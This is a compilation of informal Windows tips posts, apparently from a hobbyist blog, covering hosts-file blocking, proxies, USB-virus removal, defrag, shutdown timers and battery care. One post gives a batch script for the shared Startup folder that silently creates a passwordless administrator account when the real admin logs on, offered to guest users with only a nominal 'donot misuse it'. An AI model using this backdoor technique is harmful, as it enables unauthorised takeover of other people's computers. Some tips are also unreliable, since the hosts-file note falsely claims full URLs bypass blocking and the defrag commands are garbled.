blocking website in a techy way

Hello Friends,Sometimes you want to block some websites in your PC which are harmful for your computer,Now you can easily and effectively block access to a website by adding it to your Windows HOSTS file. (Yes, Hosts is capitalized for some strange reason).It is very easy in Use and it is working effectively,below is the trick that how can you Block a website in your PC.

1.Go to your HOSTS file which is located at:
C:\WINDOWS\SYSTEM32\DRIVERS\ETC for windows Vista and XP
C:\WINNT\SYSTEM32\DRIVERS\ETC for Windows 2k
C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.

The default Windows HOSTS looks like this:
______________________

# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:

127.0.0.1 name of the URL you want to block

For example to block the MySpace.com homepage (highly recommended!), simply type:

127.0.0.1 myspace.com
127.0.0.1 www.myspace.com

Other parts of MySpace could be blocked in a similar way:

127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
127.0.0.2 www.orkut.com
etc etc etc…

You may need to add sites with both with and without the “www.”. Test after blocking to make sure you got it right.

You can add as many sites as you wish to block in this fashion.


4. Close Notepad and answer “Yes” when prompted.

5. Reboot your computer and attempt to access your now blocked website. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”.

~NOTE: If a user types in the full url i.e. with the http:// and everything, it wll bypass the hosts file redirection and take them to the right website~

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identify unknown file format in ur computer

Managing files is one of the most important things to learn in order to use Windows properly. There is a lot more involved than the basic functions like copy, delete, and move. Unfortunately, the subject is poorly understood by many people. One mystery is file extensions. Another is the annoying things that can happen when new software changes your file associations. Find out what to do about it. Understanding file extensions and knowing how to manage your file associations can be productive in many ways. Learn how here.
What Are Extensions and What Do They Do?
You will recall that in the Windows operating system, most files have names with the format filename.ext where .ext is the extension. An extension is not absolutely required but most files have one in their name. Extensions are often, but not necessarily, three characters. Their function is to tell the computer what the file type is and what is to be done with the file when it is opened or double-clicked or otherwise invoked one way or the other. When the operating system is presented with a file for action (e.g., when you double-click it), the Registry is consulted where a list of file types and their extensions is kept. The list contains what actions are possible for that particular file, which software is supposed to carry out the action, and where on the computer that software is located (the path).
By being aware of the role of an extension, a user can make intelligent decisions about how (or whether) to use a file. For example, e-mail viruses are usually spread by means of attachments with one of the executable extensions such as .exe, .vbs or .scr. An informed user will be able to recognize the danger in indiscriminately opening such attachments and will be prepared to take appropriate action.
Unfortunately,there are thousands of file extensions. Although most of us encounter only a few of the common ones, there are times when you might need to look up a particular file extension. Because file extensions are so important, the Web is full of lists that explain the many different extensions.

Here’s a few (in no particular order):

file-format
Wikipedia
FileExt
File.Extensions
Webopedia

http://www.whatisthatfile.com/

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Broadband Tweak To Boost Up Internet Speed

This is for broad band connections. I didn’t try it on dial up but might work for dial up.
1.make sure your logged on as actually "Administrator". do not log on with any account that just has administrator privileges.
2. start - run - type gpedit.msc
3. expand the "local computer policy" branch
4. expand the "administrative templates" branch
5. expand the "network branch"
6. Highlight the "QoS Packet Scheduler" in left window
7. in right window double click the "limit reservable bandwidth" setting
8. on setting tab check the "enabled" item
9. where it says "Bandwidth limit %" change it to read 0
reboot if you want to but not necessary on some systems your all done. Effect is immediate on some systems. some need re-boot. I have one machine that needs to reboot first, the others didn't. Don't know why this is.

This is more of a "counter what XP does" thing. In other words, XP seems to want to reserve 20% of the bandwidth for its self. Even with QoS disabled, even when this item is disabled. So why not use it to your advantage. To demonstrate the problem with this on stand alone machines start up a big download from a server with an FTP client. Try to find a server that doesn't max out your bandwidth. In this case you want a slow to medium speed server to demonstrate this. Let it run for a couple of minutes to get stable. The start up another download from the same server with another instance of your FTP client. You will notice that the available bandwidth is now being fought over and one of the clients download will be very slow or both will slow down when they should both be using the available bandwidth. Using this "tweak" both clients will have a fair share of the bandwidth and will not fight over the bandwidth.

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Create An Admin Account using guest account

"donot misuse it"
Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Step 3: There is no step 3.
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.

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anonymous surfing using firefox

computers in internet are identified thru ip addresses which are unique to each system
. These are similar to our real world postal address or like our cellphone number.
we donot wish to give either our cell no or our address to an intruder.
In the same manner hiding ur ip address in the net has got utmost importance.
why iam i saying all this is bcoz usually if any hacker gets some working ip address he portscans the computers looking for any open ports("they are like doors of our house in te real world we dont want our doors kept open in the night am i right") on our system .if he finds any open port he will try to hack by sending some trojans disguised as updates to antivirus. so if we hide our ip address then no one ever gets our ip thus v are secure to do this v hav to browse the net thru a proxy server .they are like masks protecting our anonymity they give away their ip instead of ours thus protecting us .This is also one of the common methods used by hackers to secure their identity from being caught by fbi or interpol .....................

firefox serves as an excellent tool for staying anonymous on this cyberworld.


With this you can:


a) download as many time you like using Rapidshare.de


b) Use Megaupload if your country slot is limited.


c) Enhance your privacy (no one can see who are you)


d) Avoid hacker


e) Download faster (some proxies containe internet cache)


To get free proxies, go here


How to setup proxy:

Older Version: Go to tools>option>general>connectionsettings

Latest Version: Go to tools>options>advanced>network>settings

click the manual settings radio button and enter the ip address and port number given in the above site

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windows xp shortcuts for newbies

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securing a system from pendrive/flash drive virus

Today pendrives are becoming popular for their portability and high capacity.
As every coin has 2 sides we know that these devices are being used to spread virii rapidly as most of the viruses are targeted to the pendrives..

Active viruses infect your windows system as soon as you double click on the Pen Drive icon in your my computer. As virus always creates a autorun.inf file which is a system ,hidden and a read only file on your pen drive. It point to the main virus file which is also located on the pen drive. When user double clicks on the pen drive files pointed by the autorun.inf got executed which copies the virus files on your system.

tips to defend ourselves from pendrive viruses

Click Start

-->> click on Run or press windows key + r

* Enter GPEDIT.MSC press enter

* Double-click Computer Configuration to open submenu

* Double-click Administrative Templates to open submenu

* Double-click System to open submenu

* Double-click Turn autoplay off option which will be near the bottom of the list in
the right panel.

and u hav 2 tweak ur settings a bit to delete the pesky virus present in your pendrive

Open My Document> Tools> Folder Options>View or control panel folder options>view

click on Advanced Setting

Files and folders > Hidden files and folders

Enable the Show hidden files and folders

deselect hide extensions for known file types

now we are ready to rock

goto run or command prompt

type the drive name

eg: type g:\ in run

now ur pen drive will open up .

look for any files with doubles extensions such as hai.jpg.exe or

ps.bat or any files which u feel are doubtful

select all of them and press shift+delete



removing thru registry

1.New Folder.exe virus disables task manager, disables registry editor, disables folder options, and disables run option from start menu. Virus creates exe files like the icon of folders with the same name as the name of the folder, it also consumes more than 50 % of your processor usage so slows down your computer.



Let’s see how we can remove this virus without formatting the drive.


Fix:

In order to remove the newfolder.exe

You need delete a file named svichossst.exe where ever you find this file on your system



Remove the following keys from registry

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
“@”=[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
“Yahoo Messengger”=



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
“Shell”=”Explorer.exe “




-------------------------------------------------------------------------------------


when we autoplay cds there may e chance that our system gets infected
hence disabling cd-autorun from registry is the best bet to protect ourselves

copy the below code to a notepad and save it as any file but with .reg extension and after saving double click it

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom]
"Autorun"="0"


-------------------------------------------------------------------------------------

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trick to defrag mutliple volumes in windows vista without using any third party software

By default windows vista provides a defragmentor which can defrag one drive at a time which ofcourse takes a lot of time.
Here is a trick to defrag mutliple drives in ur system at once.
To do this we hav to create a batch file to defragment all drives one after other.
the disk defrag utility can be invoked from the comand line with the following syntax:

Windows Disk Defragmenter
Copyright (c) 2001 Microsoft Corp. and Executive Software International, Inc.
Usage:

defrag [-a] [-f] [-v] [-?]

volume drive letter or mount point (d: or d:volmountpoint)
-a Analyze only
-f Force defragmentation even if free space is low
-v Verbose output
-? Display this help text

first of all we create a bat file by name tuneall.bat
and place it anywhere you like, as long as you'll remember where it is. If you want to run it from the command line, you could place it in the \windows directory so that it will be available in the system path.

For each hard drive, add a line to the batch file. For instance, if we want to defragment drives C: , D: , and F: we will add these three lines:

defrag c: -f defrag d: -f defrag f: -f

To run the defrag, just either double-click on the batch file or start it from the command

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unlock the hidden administrator account in vista

Many of us who are familiar with prior versions of Windows are curious what happened to the built-in Administrator account which was always created by default. Does this account still exist, and how can you access it?

The account is created in Windows Vista, but since it's not enabled you can't use it. If you are troubleshooting something that needs to run as administrator, you can enable it with a simple command.

Note: You really shouldn't use this account for anything other than troubleshooting. In fact, you probably shouldn't use it at all.

Enable Built-in Administrator Account

First you'll need to open a command prompt in administrator mode by right-clicking and choosing "Run as administrator" (or use the Ctrl+Shift+Enter shortcut from the search box)

Now type the following command:

net user administrator /active:yes

yes u r done now logout and u can see that account enabled

You'll note that there's no password for this account, so if you want to leave it enabled you should change the password.

steps to set password for administrator acc using command prompt

goto run---->cmd and press enter
now type c:\ net user administrator bond
here bond is the password and u can give password of ur choice

this account is like root acc or superuser in unix or linux enviroment using this acc is not recommended for users other than admins

Disable Built-in Administrator Account

Make sure you are logged on as your regular user account, and then open an administrator mode command prompt as above. Type the following command:

net user administrator /active:no

and u r done

caution:donot messup with that administrator account i repeat

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Windows Vista Command Line List

Run as administrator in Vista

The Windows Vista operating system has a security feature called "useraccountcontrol" or uac for short that limits the privileges of users by default. Since the command line is usually involved with administrative tasks, you'll often want to run as an administrator. This can be done each time by right-clicking the icon for the command prompt and choosing "Run as" from the context menu . A more convenient way is to set the command prompt to run with administrator privileges by default. Right-click the command prompt shortcut icon and choose "Properties" from the context menu. Click the "Advanced" button and put a check by "Run as administrator". Click "OK". Note that you will still get the UAC message when you open the command prompt.

Another way to run the command prompt as administrator is to enter "cmd" in Start Search and then use the keyboard combination Ctrl+Shift+ Enter.

• ASSOC Displays or modifies file extension associations.
• ATTRIB Displays or changes file attributes.
• BREAK Sets or clears extended CTRL+C checking.
• *BCDEDIT Sets properties in boot database to control boot loading.
• CACLS Displays or modifies access control lists (ACLs) of files.
• CALL Calls one batch program from another.
• CD Displays the name of or changes the current directory.
• CHCP Displays or sets the active code page number.
• CHDIR Displays the name of or changes the current directory.
• CHKDSK Checks a disk and displays a status report.
• CHKNTFS Displays or modifies the checking of disk at boot time.
• *CHOICE Batch file command that allows users to select from a set of options.
• CIPHER Displays or alters the encryption of directories [files] on NTFS partitions.
• *CLIP Redirects output of another command to the Windows clipboard.
• CLS Clears the screen.
• CMD Starts a new instance of the Windows command interpreter.
• *CMDKEY Creates, lists and deletes stored user names and passwords or credentials.
• COLOR Sets the default console foreground and background colors.
• COMP Compares the contents of two files or sets of files.
• COMPACT Displays or alters the compression of files on NTFS partitions.
• CONVERT Converts FAT volumes to NTFS. You cannot convert the current drive.
• COPY Copies one or more files to another location.
• DATE Displays or sets the date.
• DEFRAG Disk defragmenter accessory.
• DEL Deletes one or more files.
• DIR Displays a list of files and subdirectories in a directory.
• DISKCOMP Compares the contents of two floppy disks.
• DISKCOPY Copies the contents of one floppy disk to another.
• DISKPART Displays or configures Disk Partition properties.
• DOSKEY Edits command lines, recalls Windows commands, and creates macros.
• DRIVERQUERY Displays current device driver status and properties.
• ECHO Displays messages, or turns command echoing on or off.
• ENDLOCAL Ends localization of environment changes in a batch file.
• ERASE Deletes one or more files.
• EXIT Quits and closes the command shell.
• EXPAND Expands one or more compressed files.
• FC Compares two files or sets of files, and displays the differences between them.
• FIND Searches for a text string in a file or files.
• FINDSTR Searches for strings in files.
• FOR Runs a specified command for each item in a set.
• *FORFILES Selects files in a folder for batch processing.
• FORMAT Formats a disk for use with Windows.
• FSUTIL Displays or configures the file system properties.
• FTYPE Displays or modifies file types used in file extension associations.
• GOTO Directs the Windows command interpreter to a labeled line in a batch program.
• GPRESULT Displays Group Policy information for machine or user.
• GRAFTABL Enables Windows to display an extended character set in graphics mode.
• HELP Provides Help information for Windows commands.
• *ICACLS Display, modify, backup, or restore ACLs for files and directories .
• IF Performs conditional processing in batch programs.
• LABEL Creates, changes, or deletes the volume label of a disk.
• MD Creates a directory.
• MKDIR Creates a directory.
• *MKLINK Creates Symbolic Links and Hard Links
• MODE Configures a system device.
• MORE Displays output one screen at a time.
• MOVE Moves one or more files from one directory to another directory.
• OPENFILES Queries, displays, or disconnects open files or files opened by network users.
• PATH Displays or sets a search path for executable files.
• PAUSE Suspends processing of a batch file and displays a message.
• POPD Restores the previous value of the current directory saved by PUSHD.
• PRINT Prints a text file.
• PROMPT Changes the Windows command prompt.
• PUSHD Saves the current directory then changes it.
• RD Removes a directory.
• RECOVER Recovers readable information from a bad or defective disk.
• REM Designates comments (remarks) in batch files
• REN Renames a file or files.
• RENAME Renames a file or files.
• REPLACE Replaces files.
• RMDIR Removes a directory.
• ROBOCOPY Advanced utility to copy files and directory trees
• SET Displays, sets, or removes environment variables for current session.
• SETLOCAL Begins localization of environment changes in a batch file.
• SETX Sets environment variables.
• SC Displays or configures services (background processes).
• SCHTASKS Schedules commands and programs to run on a computer.
• SHIFT Shifts the position of replaceable parameters in batch files.
• SHUTDOWN Allows proper local or remote shutdown of machine.
• SORT Sorts input.
• START Starts a separate window to run a specified program or command.
• SUBST Associates a path with a drive letter.
• SYSTEMINFO Displays machine specific properties and configuration.
• *TAKEOWN Allows an administrator to take ownership of a file .
• TASKLIST Displays all currently running tasks including services.
• TASKKILL Kill or stop a running process or application.
• TIME Displays or sets the system time.
• *TIMEOUT Pauses the command processor for the specified number of seconds.
• TITLE Sets the window title for a CMD.EXE session.
• TREE Graphically displays the directory structure of a drive or path.
• TYPE Displays the contents of a text file.
• VER Displays the Windows version.
• VERIFY Tells Windows whether to verify that your files are written correctly to a disk.
• VOL Displays a disk volume label and serial number.
• *VSSADMIN Volume Shadow Copy Service administration tool
• *WHERE Displays the location of files that match a search pattern.
• XCOPY Copies files and directory trees.
• WMIC Displays WMI information inside interactive command shell.

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How to fix a corrupt Windows XP O/S

Windows XP has the ability to repair itself from 3rd party software overwriting important system files. To fix this we will use a utility called System File Checker or sfc for short Parameters /scannow : Scans all protected system files immediately. /scanonce : Scans all protected system files once. /scanboot : Scans all protected system files every time the computer is restarted. /revert : Returns the scan to its default operation. /purgecache : Purges the Windows File Protection file cache and scans all protected system files immediately. /cachesize=x : Sets the size, in MB, of the Windows File Protection file cache. /? : Displays help at the command prompt.

Instructions

Things You’ll Need:

• Windows XP Home/Pro cd

Step1

Go to Start then run and then type sfc /scan now. It will Prompt you to insert a cd

Step2

Insert the cd and let the SFC utility run

Step3

Whats going on? the SFC will check your changes to the main system files.

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trick to shutdown our genious machine at desired time extremely useful while downloading

friends usually many of us have the habit of downloading s/w or movies in the night the system downloads the whole movie or software and after downloading it still runs thus increasing our electricity bills......
now let me tell you that we can shutdown our machine at desired time by using a function
to do this goto run...>cmd ..>shutdown

"shutdown"
Allows you to shut down . Used without parameters, shutdown will logoff the current user.
Syntax

shutdown [{-l|-s|-r|-a}]
Parameters

-l : Logs off the current user, this is also the defualt. -m ComputerName takes precedence.

-s : Shuts down the local computer.

-r : Reboots after shutdown.

-a : Aborts shutdown. Ignores other parameters, except -l and ComputerName. You can only use -a during the time-out period.

-f : Forces running applications to close.

thats short info about shutdown and its parameters

when we start a d/w accoring to our net speed we can now approximate in how much time the file will be downloaded .let us the file will be downloaded in 20 minutes
then we have to type
shutdown -s -t 1200
here 1200 stands for 20 min bcoz the -t switch is to be followed by seconds and here 20 min so 20*60=1200
the same shutdown() function can be used to either shutdown or restart or logoff after a given interval of time .
everytime giving this command is tedious to some of us
inorder to simplify this we can create shortcuts to shutdown and restart which tells the computer to do so after specified time interval
Create a desktop shortcut.




To create desktop shortcut you need to right-Click on the desktop and choose shortcut.
In the type the location for the item paste this :

For shutdown
shutdown -s -t 00
As you can see above, this says to shutdown immediately.

For shutdown and restart
shutdown -r -t 00
As you can see above, this says to shutdown and restart immediately.
shutdown -l -t 00

The 00 can be replaced by time delay you want to give before working.. Its in seconds.

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tip to create a visiting card in windows

hai friends if we want to store our friends or customers details just as we store visiting cards in a wallet. windows has a default utility to do this task
goto--------->run------>type wab and press enter
voila u r done...
the remaining i.e how you fill the card is left to u

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nice trick to make a sticky notes without using any third party software

What is this all about:
Guys to keep small notes in comp we usually use software like Stick Note(http://www.sticky-notes.net/). But these usually eats up huge memory and sometime very complected.

Solution:
This trick will help you to maintain your notes as logs using simple windows inbuilt Notepad.

Its very easy. Create a new text file.Name it anything you like. Say Notes.txt
Now add the following text in your notepad. ".LOG"
Save your file.
Now close the file and open again.
Each time you open it the file will append current time stamp in the file

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tips to maximise ur laptop battery

you might have a very high end lappy with high end processor , gigas of ram , but without enough batterycharge in the crucial time it can be used like this --------------------------------->
dont worry frnz i hav some tips for u


Dim the Bright LCD Screen – Most laptops come with the ability to dim your laptop screen. Some even come with ways to modify CPU and cooling performance. Cut them down to the lowest level you can tolerate to squeeze out some extra battery juice.Possibly use a black color background and themes.

turnoff wifi-
If you are using the laptop for offline work, like composing emails or giving final touches to that PowerPoint presentation, there’s no point checking for Wi-Fi network in your area when you are not going to use it anyway. Most laptops have shortcut keys to instantly disable wireless networking.

"kill unnecessary programs running in the background"-
Itunes, winamp,etc etc. All these add to the CPU load and cut down battery life. Shut down everything that isn’t crucial when you’re on battery.


Defragment ur Hard Disk –
Defragmenting will try to put all the piece of a file in a sequence so it will take less effort to see a file. You may notice a marginal jump in computing speed after defragmentation plus it also helps in extending the very precious life of your battery.

use a hard drive rather than CD/DVD - As power consuming as hard drives are, CD and DVD drives are worse. Even having one in the drive can be power consuming. They spin, taking power, even when they?re not actively being used. Wherever possible, try to run on virtual drives using programs like Alcohol 120% rather than optical ones

brush ur battery contacts-
Clean your battery’s metal contacts every couple of months with a cloth moistened with rubbing alcohol. This keeps the transfer of power from your battery more efficient.

Take care of your battery -
Exercise the Battery. Do not leave a charged battery dormant for long periods of time. Once charged, you should at least use the battery at least once every two to three weeks. Also, do not let a Li-On battery completely discharge

Hibernate not standby -
placing a laptop in standby mode saves some power and you can instantly resume where you left off, it doesn’t save anywhere as much power as the hibernate function does. Hibernating a PC will actually save your PC’s state as it is, and completely shut itself down.

make ur lappy cool-
Your laptop operates more efficiently when it’s cooler. Clean out your air vents with a cloth

Set up and optimize your power options -
Go to ‘Power Options’ in your windows control panel and set it up so that power usage is optimized (Select the ‘max battery’ for maximum effect)

Don’t multitask -

Do one thing at a time when you’re on battery. Rather than working on a spreadsheet, letting your email client run in the background and listening to your latest set of MP3’s, set your mind to one thing only. If you don’t you’ll only drain out your batteries before anything gets completed!

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